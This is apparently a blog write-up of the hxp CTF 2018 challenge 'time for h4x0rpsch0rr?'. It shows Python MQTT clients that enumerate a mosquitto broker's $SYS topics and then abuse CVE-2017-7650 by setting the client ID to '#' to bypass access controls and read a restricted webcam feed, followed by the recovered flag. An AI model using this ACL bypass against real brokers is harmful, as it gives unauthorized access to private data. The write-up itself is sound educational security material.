hxp CTF 2018 – time for h4x0rpsch0rr?

Under the provided URL a website was only displaying this:

There was also a link to an admin panel which required username, password and a one-time password:

The main page contains one interesting bit in the page source:

There is a MQTT service running on port 60805 via web socket which provides data to the website.
You can connect to this service with you own client and subscribe to topics.
We start by subscribing to the topic “#” which is a wildcard for any topic.
Our client:

#!/usr/bin/python

import sys
import paho.mqtt.client as mqtt

def on_message(mqttc, obj, msg):
    print(msg.topic+" "+str(msg.qos))
    print(msg.payload)

mqttc = mqtt.Client(transport='websockets')
mqttc.on_message = on_message

mqttc.connect("159.69.212.240", 60805, 60)
mqttc.subscribe("#", 0)
mqttc.loop_forever()

However we only get the following back:

# python client.py 
hxp.io/temperature/Munich 0 
13.37
hxp.io/temperature/Munich 0 
13.37
hxp.io/temperature/Munich 0 
13.37

Next we subscribe to “$SYS/#”. Topics beginning with “$” are hidden so our wildcard before didn’t catch that. “$SYS” is a default topic which should give us some internal information of the service.

# python client.py 
$SYS/broker/version 0
mosquitto version 1.4.10
$SYS/broker/timestamp 0
Wed, 17 Oct 2018 19:03:03 +0200
$SYS/broker/uptime 0
167167 seconds
$SYS/broker/clients/total 0
60
$SYS/broker/clients/inactive 0
60
$SYS/broker/clients/disconnected 0
60
$SYS/broker/clients/active 0
0
$SYS/broker/clients/connected 0
0
$SYS/broker/clients/expired 0
0
$SYS/broker/clients/maximum 0
277
$SYS/broker/messages/stored 0
39
$SYS/broker/messages/received 0
648798
$SYS/broker/messages/sent 0
0
$SYS/broker/subscriptions/count 0
63
$SYS/broker/retained messages/count 0
39
$SYS/broker/heap/current 0
60480
$SYS/broker/heap/maximum 0
12085456
$SYS/broker/publish/messages/dropped 0
20906
$SYS/broker/publish/messages/received 0
69051
$SYS/broker/publish/messages/sent 0
0
$SYS/broker/publish/bytes/received 0
1355228629
$SYS/broker/publish/bytes/sent 0
7849976164
$SYS/broker/bytes/received 0
1363310799
$SYS/broker/bytes/sent 0
0
$SYS/broker/load/messages/received/1min 0
115.56
$SYS/broker/load/messages/received/5min 0
112.86
$SYS/broker/load/messages/received/15min 0
109.79
$SYS/broker/load/publish/received/1min 0
23.14
$SYS/broker/load/publish/received/5min 0
23.05
$SYS/broker/load/publish/received/15min 0
23.18
$SYS/broker/load/publish/dropped/1min 0
0.06
$SYS/broker/load/publish/dropped/5min 0
0.27
$SYS/broker/load/publish/dropped/15min 0
0.82
$SYS/broker/load/bytes/received/1min 0
496378.17
$SYS/broker/load/bytes/received/5min 0
491982.54
$SYS/broker/load/bytes/received/15min 0
491084.12
$SYS/broker/load/connections/1min 0
14.80
$SYS/broker/load/connections/5min 0
15.51
$SYS/broker/load/connections/15min 0
14.63
$SYS/broker/log/M/subscribe 0
1544348008: # 0 $SYS/#
$SYS/broker/log/M/subscribe 0
1544348009: 4bc81116-f66b-42ad-806c-5133218a95db 0 $internal/admin/webcam
$SYS/broker/log/M/subscribe 0
1544348014: c6883aff-c792-4924-92e8-139563685b11 0 $internal/admin/webcam

Watching the output of this, we see that a lot of clients are subscribing to the topic “$internal/admin/webcam” which sounds very interesting.

However subscribing to that topic does not give us any message, something is missing (Update: Apparently this should have worked, we probably screwed this up by not properly handling binary data in our client at that time).
After a while we notice the first line of output of the “$SYS/#” topic: mosquitto version 1.4.10

That is a rather old version and indeed there is a vulnerability up until version 1.4.12 which allows circumvention of set ACLs (CVE-2017-7650). Basically we only need to set our client_id or username to a wildcard – like “#” – and we can read any restricted topic.

We do this and get back binary data, so we write a modified client that stores this in a file:

#!/usr/bin/python

import sys
import paho.mqtt.client as mqtt

def on_message(mqttc, obj, msg):
    f = open("output.jpg","w+")
    f.write(msg.payload)
    sys.exit()

mqttc = mqtt.Client(client_id='#', transport='websockets', clean_session=True)
mqttc.on_message = on_message
mqttc.connect("159.69.212.240", 60805, 60)
mqttc.subscribe("$internal/#", 0)
mqttc.loop_forever()

Running this produces no output but the image will be written to output.jpg:

And with that we could login to the admin panel:

Flag was: hxp{Air gap your beers :| - Prost!}

Leave a Reply

Your email address will not be published. Required fields are marked *